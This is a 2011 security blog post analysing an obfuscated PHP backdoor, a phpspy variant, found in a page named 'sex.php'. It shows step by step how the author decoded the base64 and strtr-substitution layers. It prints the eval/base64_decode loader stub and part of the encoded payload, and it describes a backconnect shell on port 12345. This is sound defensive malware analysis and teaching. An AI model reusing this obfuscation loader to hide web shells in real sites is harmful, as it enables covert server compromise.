Browser-Based Malware: Decoding a PHP Backdoor

Thursday, October 20, 2011

john melvin

C9f10ffa24531c96d85e0445499fd1e4

I recently received a request to analyze a suspicious PHP page captured from a user’s Internet history. On the surface it was a typical investigation regarding inappropriate use of a company system based upon the ame of the PHP page: “sex.php”.

But there was more to this page aside from the content that generated the initial concern. It was the probability that pages such as these use common techniques to deploy adware, spyware, or session-stealing capabilities.

In this particular case the code was a fully functional PHP command and control application, and I determined it was a variant of the original 2008 Chinese version called “phpspy.”

This code has a full file manager, database manager, arbitrary command execution, arbitrary php code execution, and a backdoor shell called "backconnect" which will run on TCP 12345. It has two options for the command shell: perl or c. If perl is on the system, it will run angel_bc.pl (included within the decoded PHP as yet another decoded string array).

Otherwise it will try to execute the compiled version of angel_bc.c, which it handles by script code. This blog is not an analysis of the backdoor exactly, but instead describes the methodology and techniques used to decipher malicious code embedded and encoded in a seemingly normal web page. Below is a snippet of the PHP code that caught my attention, and thus begins my initial investigation:

$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=89936;

eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT
09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMCl
mZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwT
zBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29
kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ1NnZ
HRRcW51NTgySk00T3M3eWVtK1RGVmxwakxpazZmY1VIQkl
aMFBoMUdYQ3h2YUV6S1lvRHI5LzNBd05XYlI9JywnQUJDR
EVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2x
tbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhb
CgkT08wME8wME8wKTs=')));return;?>

8QWsMtgsMtgsMtDZi0TPV98ZinzUlr+h8DWfyIZMy
TWf8KEH8K5v8QWsmYgsMQNEMd/H8K5C2n8Uir+r4q
WIpF4apn+ hi9yKku5hpP8ZlF7h8QNEMtgsMQNEMd
EImoNEMQNEMtSE2eEP+rkIkqqzLP+DOt82mmysiYk
3pFoXTQpFLugGmnZX40 pBT+UdeThE+nczyDUt6up
UyV1JFFWQiBIaMoq9mZkH+BoPJdkg7I4Qy+……………………………………………….

If you look at the PHP code there are two distinct portions of code that look like they are base64, but this is not the case. You can decode that first chunk into meaningful code (the one that starts with JE8wMDB…).

However, if you run the second chunk of base64 data (the one that starts with 8QWsMtgs…) through a base64 decoder it outputs binary-like data. I piped that into a file and hex edited it, but did not see any reference to X86 or ELF binaries, so I knew this probably was obfuscated and needed more analysis. Below are the steps to take to analyze this type of malware:

Tools Needed:

• Bash

• base64 (or openssl base64 -d)

• php cli

• PHP manual to reference functions

Basic Primer Needed to Understand Structure of the Code:

• PHP code begins with "

• eval() runs a string as php code

• The string inside eval appears to be base64_decoded before being executed.

• The base64 code is encapsulated between apostrophes

Step One: My first step was to decode the first encoded string chunk by copying the code into a file and issuing: cat coded.txt
base64 –d.

This also could be accomplished using browser plugins as shown with the following screenshot (click image to enlarge):

image


After decoding this string I ended up with the following new code, in blue below:

$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=89936;eval((base64_decode('

$O000O0O00=fopen($OOO0O0O00,'rb');while(--$O00O00O00)fgets($O000O0O00,1024);fgets
($O000O0O00,4096);$OO00O00O0=(base64_decode(strtr(fread($O000O0O00,372),'SgdtQqnu
582JM4Os7yem+TFVlpjLik6fcUHBIZ0Ph1GXCxvaEzKYoDr9/3AwNWbR=','ABCDEFGHIJKLMNOPQRSTU
VWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));eval($OO00O00O0);
')));return;?>

8QWsMtgsMtgsMtDZi0TPV98ZinzUlr+h8DWfyIZMyTWf8KEH8K5v8QWsmYgsMQNEMd/H8K5C2n8Uir+r4q
WIpF4apn+hi9yKku5hpP8ZlF7h8QNEMtgsMQNEMdEImoNEMQNEMtSE2eEP+rkIkqqzLP+DOt82mmysiYk3
pFoXTQpFLugGmnZX40pBT+UdeThE+nczyDUt6upUyV1JFFWQiBIaMoq9mZkH+BoPJdkg7I4Qy+

……………………………………………….

Step Two: I attempted to base64 decode the second chunk of data the same way as above but it outputs binary-like data instead of code. If you look at the new code we generated above we can inspect, and infer, that the second encoded section actually is obfuscated and needs to be decoded(in red text below):

$O000O0O00=fopen($OOO0O0O00,'rb');while(--$O00O00O00)fgets
($O000O0O00,1024);fgets($O000O0O00,4096);$OO00O00O0=(
base64
_decode(strtr(fread($O000O0O00,372),'SgdtQqnu582JM4Os7yem+T
FVlpjLik6fcUHBIZ0Ph1GXCxvaEzKYoDr9/3AwNWbR=','ABCDEFGHIJKLM
NOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
)));eva
l($OO00O00O0);

The above code is just a fancy way of reading in a large chunk of data, splitting it up into smaller sections, and piping it all through an “strtr” function that will trans-position characters through an obfuscation function. In PHP, the strtr function returns a copy of str, translating all occurrences of each character in from to the corresponding character in to ; string strtr ( string $str , string $from , string $to ).

So, basically, here is that function broken down:

The second encoded chunk of data will be read into the function in sections. Then any matching characters from the encoded chunk that match a character in the second parameter:

fread($O000O0O00,372),'SgdtQqnu582JM4Os7yem+TFVlpjLik6fcUHBIZ0Ph1GXCxvaEzKYoDr9
/3AwNWbR='
,'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));

will be transposed with a character in the third parameter at the same offset:

fread($O000O0O00,372),'SgdtQqnu582JM4Os7yem+TFVlpjLik6fcUH
BIZ0Ph1GXCxvaEzKYoDr9/3AwNWbR=','ABCDEFGHIJKLMNOPQRSTUVWXY
Zabcdefghijklmnopqrstuvwxyz0123456789+/'
)));

For instance, let’s say you have this function:

strtr("SecireStatg","ig","ue");

When this runs the output string will really be “SecureState” since every “i” will be remapped to a “u” and every “g” will be remapped to an “e”. If that third parameter were backwards, say “eu” instead, then the string would output “SecereStatu”. The following screenshot shows this function and how it can be used to encode or decode (click image to enlarge):

 image

If the from and to are different lengths, the extra characters in the longer of the two are ignored, which is the case within this PHP code. The string $from in the PHP code is one character longer than the $to string, so that last character will be ignored.

In this case, the last character is the “=” sign, which symbolizes base64 encoding (marked in red below). This is just an obfuscation technique to make encoded data still appear to be base64 and was a tricky technique that had me stumped for a while.

base64_decode(strtr(fread($O000O0O00,372),'SgdtQqnu582JM
4Os7yem+TFVlpjLik6fcUHBIZ0Ph1GXCxvaEzKYoDr9/3AwNWbR=','A
BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

Step Three: Once I understood the initial code and its obfuscation, I began to decode. The following screenshot shows a simple way to extract that second chunk of encoded data into a file. In this case, I just cat’d the sex.php file, GREP’d for the first few characters in the large encoded chunk, and saved to a file called “code.txt” (click image to enlarge):

image


Step Four: Create a PHP script, “decode.php”, that will read in the contents of code.txt with the “file_get_contents” function. Next the contents of that file will be loaded into the “strtr” function, along with the $from and $to substitution character sets (in other words, every character in code.txt that matches characters in the $from parameter will be replaced with characters in the $to parameter).

Next it will base64 decode that entire new encoded chunk. The following screenshot displays the decoding program, but the basic structure of the decoding process is as follows:

strtr (string $str, string $from, string $to)

$str will be

"code.txt

$from will be 

"'SgdtQqnu582JM4Os7yem+TFVlpjLik6fcUHBIZ0Ph1GXCxvaEzKYoDr9/3AwNWbR=’

$to will be  "'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'


(click image to enlarge):

image


Step 5: Once the decoding script runs, it will output a new PHP file with meaningful, and readable, code. The following screenshot shows what all this encoding was trying to hide: a full-featured malware program and command and control shell (click image to enlarge):

image


Step 6: The PHP code also contains a backdoor called “backconnect”. The variable $back_connect is encoded with similar methods. Once decoded, we can see it is a perl script (shown in the terminal window on the left within the following screenshot) (click image to enlarge):

image


I will be teaching a technical class on encoding and obfuscation techniques within the next couple of weeks at SecureState called “Decoding Basics.” This class will define and present an encoding example and the techniques and methodologies used to analyze the encoding.

Additionally, I will show ways to approach obfuscation problems when trying to decipher them. If you are interested in this type of learning and knowledge transfer, and are in the surrounding area, please join us; it’s free and always enjoyable.

Cross-posted from SecureState

Possibly Related Articles:
13077
Network->General
Information Security
Browser Security malware PGP PHP internet Network Security backdoor Analysis
Post Rating I Like this!
Ba829a6cb97f554ffb0272cd3d6c18a7
Kevin McAleavey Fascinating find, and great gumshoe work there! Did you ever get a chance to play with the unpacked to see what it did?
1319152798
The views expressed in this post are the opinions of the Infosec Island member that posted this content. Infosec Island is not responsible for the content or messaging of this post.

Unauthorized reproduction of this article (in part or in whole) is prohibited without the express written permission of Infosec Island and the Infosec Island member that posted this content--this includes using our RSS feed for any purpose other than personal use.